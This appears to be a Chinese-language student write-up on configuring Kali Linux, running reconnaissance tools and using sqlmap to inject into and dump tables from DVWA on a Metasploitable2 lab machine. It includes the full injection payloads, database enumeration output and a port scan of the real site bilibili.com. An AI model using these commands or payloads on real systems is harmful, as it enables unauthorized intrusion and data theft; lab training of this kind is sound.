配置kali虚拟机及常用命令的体验

使用VMware配置kali虚拟机

下载kali镜像

官网下载kali镜像

安装VMware

官网下载VMware并安装

熟悉修改文本命令

kali的内核是Linux,通用Linux的文本修改操作

Linux中最常用的编辑器是vim,使用语法如下:

新建/打开文件:

1
vi 文件名   # 若文件不存在,则新建;若文件存在,则打开

插入文本(三种模式):

1
2
3
i   # 在当前光标前插入
a # 在当前光标后插入
o # 新建一行后插入

保存:

1
2
3
:w   # 保存
:x # 保存
:wq # 保存并退出

退出:

1
2
:q   # 退出
:q! # 强制退出不保存

通过命令行方式管理文件

查看目录、切换目录、编辑文件

查看目录

1
2
3
4
ls      # 查看当前目录下的文件及文件夹
ls -l # 详细列出当前目录下的文件及文件夹
ls -a # 列出当前目录下的所有文件,包括隐藏文件
pwd # 显示当前所在目录

切换目录

1
2
3
cd 目录名   # 切换到指定目录
cd .. # 切换到上一级目录
cd ~ # 切换到家目录

编辑文件

1
vi 文件名   # 打开文件

配网

进入网络配置文件vim/etc/network/interfaces # 设置ip、掩码、网关

编辑内容

1
2
3
4
5
auto eth0
iface eth0 inet static
address <ip地址>
netmask <子网掩码>
gateway <网关ip>

进入dns配置文件vim/etc/resolv.conf # 设置DNS

编辑内容

1
2
3
nameserver <网关ip>
nameserver 10.145.214.107
nameserver 114.114.114.114

配置好后,进行ping Baidu.com

1
2
PING baidu.com (182.61.201.211) 56(84) bytes of data.
64 bytes from 182.61.201.211: icmp_seq=1 ttl=128 time=14.8 ms

出现类似如下结果,说明配网成功

配置软件源

由于kali自带的软件源ip多在国外,使用起来速度较慢,因此需要换国内源

以下是几个国内源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#腾讯
deb http://mirrors.tencent.com/kali/ kali-rolling main contrib non-free
deb-src http://mirrors.tencent.com/kali/ kali-rolling main contrib non-free

这里以清华源为例:

第一步:编辑/etc/apt/sources.list文件,将原内容备份并删除

1
2
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo rm -f /etc/apt/sources.list

第二步:将清华源的内容复制到/etc/apt/sources.list文件中

1
vim /etc/apt/sources.list

打开/etc/apt/sources.list.tuna文件,将内容复制到/etc/apt/sources.list文件中

1
2
3
# 清华大学
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

第三步:更新软件源

1
sudo apt update

安装中文输入法

安装中文输入法(fcitx5 + 拼音)

1
sudo apt install -y fonts-wqy-zenhei fcitx5 fcitx5-pinyin fcitx5-configtool
  • fonts-wqy-zenhei:文泉驿字体,中文显示更清晰
  • fcitx5:输入法框架
  • fcitx5-pinyin:拼音输入法引擎
  • fcitx5-configtool:配置工具

配置环境变量 etc/bash.bashrc文件(全体用户生效)

1
2
3
export GTK_IM_MODULE=fcitx 
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"

打开fcitx5 配置页面,添加pinyin

1
fcitx5-configtool

配置输入法
勾选pinyin输入法,ctrl+空格切换

信息获取

发现主机

ip地址规则

Netmask工具可以确定IP范围对应的子网掩码格式。

格式:netmask -c 起始ip:终止ip

假如输入为netmask -c 192.168.1.0:192.168.1.255,意思是将从192.168.1.0192.168.1.255的ip范围转换为CIDR形式

输出为:192.168.1.0/24


netmask -c

确定网络拓扑

Traceroute工具确定网络拓扑结构,可以确定是外网还是局域网。

格式:traceroute ip地址/域名

目的是通过转跳服务器判断目的地是否在内网,若不是外网,则为局域网。

假设输入的为traceroute www.baidu.com,意思是将本机到www.baidu.com的服务器转跳信息显示出来

Linux默认使用UDP traceroute,但在校园网环境中可能被拦截,导致一跳后都显示为超时符*

udp

此时我们可以使用TCP traceroute即可正常运行

命令为traceroute -T www.baidu.com-T参数表示使用TCP协议

tcp

扫描主机

使用Nmap工具

  • 探测存活主机
  • 扫描端口
  • 探测主机操作系统信息

探测存活主机

格式:nmap -sn 目标ip范围

  • -sn参数表示只进行主机发现,不进行端口扫描
  • 目标ip范围表示要扫描的ip范围,格式为起始ip-终止ip,例如192.168.1.0-192.168.1.255
  • 扫描结果中UP的主机表示该主机处于开机状态,DOWN的主机表示该主机处于关机状态或无法访问

此处,扫描61.139.2.0/24上的设备,显示如下:

nmap -sn

可以看到以下ip处于开机状态:

  • 61.139.2.1
  • 61.139.2.2
  • 61.139.2.133
  • 61.139.2.254
  • 61.139.2.131

扫描端口

格式:nmap -p 端口范围 目标ip

  • -p参数表示要扫描的端口范围
  • 端口范围表示要扫描的端口范围,格式为起始端口-终止端口,例如1-100
  • 目标ip表示要扫描的目标ip地址
  • 扫描结果中open的端口表示该端口处于开启状态,closed的端口表示该端口处于关闭状态

此处,扫描bilibili.com的前443个端口,显示如下:

nmap -p

可以看到以下端口开放:

  • 25(tcp):smtp服务
  • 80(tcp):http服务
  • 110(tcp):pop3服务
  • 443(tcp):https服务

探测主机操作系统信息

格式:nmap -O 目标ip

  • -O参数表示要探测主机操作系统信息
  • 目标ip表示要扫描的目标ip地址
  • 扫描结果中OS的信息表示该主机的操作系统信息

此处扫描Metasploitable2的ip:61.139.2.133的操作系统信息,显示如下:

nmap -O

可以看到61.139.2.133的操作系统为Linux 2.6.x

使用Netdiscover工具实施ARP主动扫描。

格式:netdiscover -r ip范围

ip范围表示要扫描的ip范围

  • 格式为起始ip-终止ip例如192.168.1.0-192.168.1.255
  • 或使用CIDR形式,例如192.168.1.0/24

扫描之间的ip段61.139.2.0/24,结果如下:

netdiscover -r

扫描出以下在线ip地址:

  • 61.139.2.1
  • 61.139.2.2
  • 61.139.2.133
  • 61.139.2.254

监听发现主机

使用Netdiscover工具的被动模式实施ARP监听。

上文阐述的使用Netdiscover工具实施ARP主动扫描,本质上是对服务器发起主动请求,若目标主机在线则会返回响应信息。

Netdiscover工具的被动模式则是仅监听其他主机在局域网中的 ARP 广播流量,不发送任何数据包

格式:netdiscover -p

直接监听,结果如下:

netdiscover -p

此时只需要等待网络中的主机在局域网中的 ARP 广播流量即可

netdiscover -p

了解DHCP的主要作用,并实施DHCP监听来发现主机。

这也是个被动检测的过程,当有主机申请IP地址时,DHCP服务器会向局域网中的所有主机发送通知,通知其他主机有新的主机加入网络。

语法:dhcpdump -i eth0

检测eth0网络端口上的DHCP流量

dhcpdump -i eth0

接下来就是漫长的等待,直至有主机申请IP地址

dhcpdump -i eth0

被动检测到了主机61.139.2.133的IP地址

域名信息分析

使用whois工具查询域名相关信息。

语法:whois example.com

这里对我自己的域名baiyb.top进行whois查询:

whois

可以得到以下信息:

字段 含义
Domain Name 域名名称:baiyb.top
Creation Date 注册时间:2022 年 8 月 8 日
Registry Expiry Date 到期时间:2032 年 8 月 8 日(注册了10年)
Registrar 注册商:阿里云 Alibaba Cloud Computing Ltd. (Net.cn)
Registrar WHOIS Server 查询WHOIS信息的服务器:whois.aliyun.com
信息类型 内容
域名 baiyb.top
注册时间 2022-08-08
到期时间 2032-08-08
注册商 阿里云
DNS 服务商 HiChina(阿里)
注册人信息 开启了隐私保护,看不到真实姓名、邮箱等

使用dmitry工具查询域名的子域名(需要vpn)。

语法:dmitry -d 域名

检查我的域名下是否有子域名:

dmitry -d

由于查询需要vpn,所以Google的链接error

使用nslookup工具进行域名解析。

nslookup 是一个 DNS 查询工具,用于:

  • 查看域名对应的 IP 地址
  • 查询指定 DNS 服务器返回的解析结果
  • 查看子域名是否存在

语法:nslookup 域名

依旧查看我的子域名blogchat.baiyb.top(博客评论区)是否存在:

nslookup

blogchat.baiyb.top canonical name = cname.vercel-dns.com.表示 blogchat.baiyb.top 实际是 一个 CNAME(别名)记录,它指向 cname.vercel-dns.com

也就是说:✅blogchat.baiyb.topcname.vercel-dns.com

意味着网站是托管在 Vercel 平台上的(确实)

使用ping命令探测域名。

语法:ping 域名/ip地址
ping命令用于测试与目标主机的连通性,即检查目标主机是否可达。

ping

出现延迟、解析域名,说明可以联通我的博客

扫描端口

了解端口的作用、定义、分类以及常见的端口及用途。

端口(Port)是指计算机网络中,用来区分不同服务和进程的逻辑接口。它配合 IP 地址使用,用于唯一标识一台主机上的某个服务。

每个端口都是一个 16 位的数字,范围是0 - 65535

它不是物理设备,而是操作系统中管理网络连接的一个标识

📦 举例:

  • IP 地址:192.168.1.100
  • 端口号:80
  • 合起来:192.168.1.100:80 表示这台主机上的网页服务

🧭 端口的作用

端口的主要作用是:

  • 区分不同的服务:例如 HTTP80SSH22FTP21
  • 多服务共存:一台服务器可以运行多个服务,通过不同端口访问
  • 通信识别标识:用于 TCP/IP 协议通信中,确认数据该发给哪个进程
类型 范围 描述
知名端口(Well-known ports) 0 - 1023 被系统或知名服务预留,如 HTTP、FTP、SSH 等
注册端口(Registered ports) 1024 - 49151 给用户程序或第三方应用使用
动态/私有端口(Dynamic/Private ports) 49152 - 65535 系统动态分配用于客户端临时通信

使用nmap对部署的靶机进行端口扫描。

语法:nmap ip地址/域名

此处扫描Metasploitable2的ip:61.139.2.133的操作系统信息,显示如下:

nmap

可以看到61.139.2.133的开放端口

识别操作系统

使用Ping命令测试物理机和靶机的操作系统。

使用 ping 命令 无法直接判断操作系统类型,但可以通过它配合一些分析手段(如 TTL 值)初步猜测目标主机的操作系统。

TTL 值范围(默认) 操作系统类型(可能)
Windows 128(常见)、127-120
Linux/Unix 64(常见)、63-60
Cisco/网络设备 255、254 等

现在分别对靶机(Linux)61.139.2.133和物理机(Windows)61.139.2.1使用ping命令进行测试:

ping

可以看到靶机的TTL值为64,而物理机的TTL值为128,这与我们之前的分析结果一致。

使用nmap工具测试物理机和靶机的操作系统。

语法:nmap -O ip地址

现在分别对靶机和物理机进行系统识别:

靶机

可以看到靶机61.139.2.133的操作系统为Linux 2.6.x

物理机

可以看到物理机61.139.2.1的操作系统为Windows 11

识别服务

使用nmap实施靶机服务版本探测。

语法:nmap -sV ip地址

探测靶机:

nmap -sV

查询到开放端口的服务版本信息

使用amap工具识别靶机服务信息。

语法:amap <目标IP> <端口,端口,……>

这里以靶机的212280端口为例:

amap

识别出:

  • 端口 21:识别为 FTP 服务
  • 端口 22:识别为 SSH,且识别为 OpenSSH
  • 端口 80:识别为 HTTP,且识别为 Apache 2 版本

收集服务信息

使用smbclient访问物理机和靶机的SMB服务中的共享文件。

语法:smbclient -L ip地址

目的是列出目标主机上的共享文件和目录。

以靶机61.139.2.133为例:

smbclient -L

可以看到,列出了靶机里可访问的文件列表:

  • print$
  • tmp
  • opt
  • IPC$
  • ADMIN$

以靶机61.139.2.1为例:

smbclient -L

可以看到,物理机的安全策略拒绝了访问

通过snmp协议和获取物理机和靶机的信息。(靶机没有snmp协议)

语法:snmpwalk -v 版本 -c 团体字 ip地址
分别以靶机和物理机为例:

snmpwalk

均没有返回信息

漏洞利用-sqlmap

这里使用Metasploitable2靶机内的dvwa靶场进行演示

kali中打开火狐浏览器

访问靶机ip,进入dvwa靶场,用户名:admin 密码:password

dvwa



进入后左侧找到DVWA Security,按下图所示将难度设置为Low

dvwa-level



选择SQL Injection,进而得到含有get参数的url

dvwa-sql



F12打开开发者工具,在Storage(应用)选项中找到两个cookie

dvwa-cookie


Step1:检测是否存在注入点

在kali终端输入:

sqlmap -u "[目标url]" --cookie="[站点cookie]"

先检测是否存在注入点


对于本人现在的配置情况,应在kali终端输入

sqlmap -u "http://61.139.2.133/dvwa/vulnerabilities/sqli/?id=114514&Submit=Submit" --cookie="PHPSESSID=ac5cf12d26ecd51f0cb25fe5bff4acba; security=low"

得到输出如下:

注入点检测
其中包含如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET) # id可注入
Type: boolean-based blind # 布尔盲注
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=114514' OR NOT 1224=1224#&Submit=Submit

Type: error-based # 报错注入
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
Payload: id=114514' OR ROW(6734,8485)>(SELECT COUNT(*),CONCAT(0x7176767071,(SELECT (ELT(6734=6734,1))),0x7162787671,FLOOR(RAND(0)*2))x FROM (SELECT 3026 UNION SELECT 6375 UNION SELECT 8359 UNION SELECT 9413)a GROUP BY x)-- NibJ&Submit=Submit

Type: time-based blind # 时间盲注
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=114514' AND (SELECT 6395 FROM (SELECT(SLEEP(5)))DnJh)-- KfbF&Submit=Submit

Type: UNION query # 联合注入
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=114514' UNION ALL SELECT NULL,CONCAT(0x7176767071,0x5443707a77576671726274535a4256726a67626671744249704c4170506b56577344427048796979,0x7162787671)#&Submit=Submit
---

这意味着:

  • id 这个参数是可注入的
  • sqlmap 成功测试出 4 种注入方式(布尔盲注、报错注入、时间盲注、联合注入)
  • 每种方式都展示了具体的 Payload(注入语句)用于测试

Step2:展示目标网站的全部数据库

在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs

可获取数据库列表


kali输出如下:

kali输出



其中,下面展示的这一部分就是目标网站的全部数据库:

1
2
3
4
5
6
7
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

Step3:展示目标数据库的全部数据表

在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables

mysql数据库进行演示,得到输出如下:

数据库表



其中,下面展示的这一部分就是mysql数据库的全部数据表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[03:17:59] [INFO] fetching tables for database: 'mysql'
[03:17:59] [WARNING] reflective value(s) found and filtering out
Database: mysql
[17 tables]
+---------------------------+
| host |
| user |
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+

Step4:展示指定表的全部字段

在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables -T [表名] --columns

即可获得指定表的全部字段


mysqluser为例:

表字段



其中,下面展示的这一部分就是user表的全部字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[03:30:14] [INFO] fetching columns for table 'user' in database 'mysql'
[03:30:14] [WARNING] reflective value(s) found and filtering out
Database: mysql
Table: user
[37 columns]
+-----------------------+-----------------------------------+
| Column | Type |
+-----------------------+-----------------------------------+
| Host | char(60) |
| max_user_connections | int(11) unsigned |
| User | char(16) |
| Alter_priv | enum('N','Y') |
| Alter_routine_priv | enum('N','Y') |
| Create_priv | enum('N','Y') |
| Create_routine_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Create_user_priv | enum('N','Y') |
| Create_view_priv | enum('N','Y') |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| File_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| max_connections | int(11) unsigned |
| max_questions | int(11) unsigned |
| max_updates | int(11) unsigned |
| Password | char(41) |
| Process_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Reload_priv | enum('N','Y') |
| Repl_client_priv | enum('N','Y') |
| Repl_slave_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_db_priv | enum('N','Y') |
| Show_view_priv | enum('N','Y') |
| Shutdown_priv | enum('N','Y') |
| ssl_cipher | blob |
| ssl_type | enum('','ANY','X509','SPECIFIED') |
| Super_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| x509_issuer | blob |
| x509_subject | blob |
+-----------------------+-----------------------------------+

Step5:导出目标数据库

在终端输入:sqlmap -u "[目标url]" --cookie="[站点cookie]" --dbs -D [数据库名] --tables -T [表名] --columns -C [字段名] --dump

即可导出指定字段的全部数据


mysqluser表的User字段为例:

导出数据



其中,下面展示的这一部分就是user表的User字段的全部数据:

重要数据

可以看出:

  • 目标数据库有 3 个用户:
    • debian-sys-maint(系统维护账户)
    • root(超级管理员)
    • guest(来宾账户)
  • 所有账户的 Password 字段都是空的(),说明:
    • 这些账户不设置密码,可能可以直接登录数据库!